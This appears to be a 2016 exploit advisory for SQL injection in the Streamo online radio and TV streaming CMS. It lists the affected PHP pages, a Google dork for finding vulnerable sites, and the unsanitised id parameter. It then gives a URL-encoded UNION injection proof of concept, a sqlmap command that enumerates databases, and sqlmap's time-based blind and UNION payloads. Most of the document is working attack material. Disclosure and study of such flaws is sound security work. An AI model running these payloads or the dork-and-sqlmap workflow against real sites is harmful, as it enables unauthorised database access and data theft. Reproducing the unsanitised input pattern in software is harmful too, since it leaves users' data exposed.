######################
# Application Name : Streamo - Online Radio And Tv Streaming CMS
 
# Google Dork : inurl:rjdetails.php?id=
 
# Exploit Author : Cyber Warrior | Bug Researchers Group | N4TuraL
 
# Author Contact : https://twitter.com/byn4tural
 
# Vendor Homepage : http://rexbd.net/
 
# Vulnerable Type : SQL Injection
 
# Date : 2016-07-08
 
# Tested on : Windows 10 / Mozilla Firefox
#             Linux / Mozilla Firefox
#             Linux / sqlmap 1.0.6.28#dev
 
###################### SQL Injection Vulnerability ######################
 
# Location :
http://localhost/[path]/menu.php
http://localhost/[path]/programs.php
http://localhost/[path]/rjdetails.php
 
######################
 
# Vulnerable code :
 
$gid = $_GET["id"];
 
 
######################
 
# PoC Exploit:
 
http://localhost/[path]/programs.php?id=999999.9%27%20union%20all%20select%20concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28database%28%29%20as%20char%29%29%29%2C0x27%2C0x7e%29%2C0x31303235343830303536%20and%20%27x%27%3D%27x
 
# Exploit Code via sqlmap:
 
sqlmap -u http://localhost/[path]/programs.php?id=10 --dbs
 
Parameter: id (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=10' AND SLEEP(5) AND 'yTqi'='yTqi
 
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=-4222' UNION ALL SELECT NULL,CONCAT(0x7170787871,0x586d5a4275566c486f6f78475a59506c524f5762506944746c7358645a544e527874737478756364,0x7178627071)-- uFiY
---
 
######################